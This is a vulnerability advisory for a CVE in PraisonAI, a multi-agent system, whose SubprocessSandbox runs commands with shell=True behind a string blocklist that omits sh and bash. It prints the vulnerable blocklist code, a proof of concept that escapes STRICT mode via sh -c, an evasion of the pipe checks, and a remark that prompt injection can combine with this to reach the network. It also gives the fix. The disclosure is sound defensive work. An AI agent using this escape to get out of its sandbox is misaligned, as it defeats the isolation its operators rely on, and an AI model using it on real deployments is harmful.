CVE-2026-34955: PraisonAI: Sandbox Escape via shell=True and Bypassable Blocklist in SubprocessSandbox
Summary
SubprocessSandbox in all modes (BASIC, STRICT, NETWORKISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'.
Details
sandboxexecutor.py:179 (source) -> sandboxexecutor.py:326 (sink) python source -- string-pattern blocklist, sh and bash not in blockedcommands cmdname = Path(parts[0]).name if cmdname in self.policy.blockedcommands: # sh, bash not blocked raise SecurityError(...) dangerouspatterns = [ ("| sh", ...), # requires space -- "id|bash" evades this ("| bash", ...), # requires space ]
sink -- shell=True spawns /bin/sh regardless of sandbox mode result = subprocess.run( command, shell=True, ... )
PoC python tested on: praisonai==4.5.87 (source install) install: pip install -e src/praisonai import sys sys.path.insert(0, 'src/praisonai') from praisonai.cli.features.sandboxexecutor import SubprocessSandbox, SandboxPolicy, SandboxMode
policy = SandboxPolicy.formode(SandboxMode.STRICT) sandbox = SubprocessSandbox(policy=policy)
result = sandbox.execute("sh -c 'id'") print(result.stdout) expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Users who deploy with --sandbox strict have no meaningful OS-level isolation. Any command blocked by the policy (curl, wget, nc, ssh) is trivially reachable via sh -c '<blockedcommand>'. Combined with agent prompt injection, an attacker can escape the sandbox and reach the network, filesystem, and cloud metadata services.
Suggested Fix python import shlex
result = subprocess.run( shlex.split(command), shell=False, cwd=cwd, env=env, captureoutput=captureoutput, text=True, timeout=timeout )
Other sources
PraisonAI is a multi-agent teams system. Prior to version 4.5.97, SubprocessSandbox in all modes (BASIC, STRICT, NETWORKISOLATED) calls subprocess.run() with shell=True and relies solely on string-pattern matching to block dangerous commands. The blocklist does not include sh or bash as standalone executables, allowing trivial sandbox escape in STRICT mode via sh -c '<command>'. This issue has been patched in version 4.5.97.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaito a version that resolves this vulnerability.Fixed in 4.5.97 - Upgrade
Upgrade
praisonaito a version that resolves this vulnerability.Fixed in 4.5.97 - Configuration
In SubprocessSandbox, change subprocess.run() usage to call it with shell=False (so commands are not executed via a shell). The issue occurs because SubprocessSandbox runs subprocess.run() with shell=True in BASIC, STRICT, and NETWORK_ISOLATED modes.
SubprocessSandbox (praisonai.cli.features.sandbox_executor) subprocess.run(shell=...) = false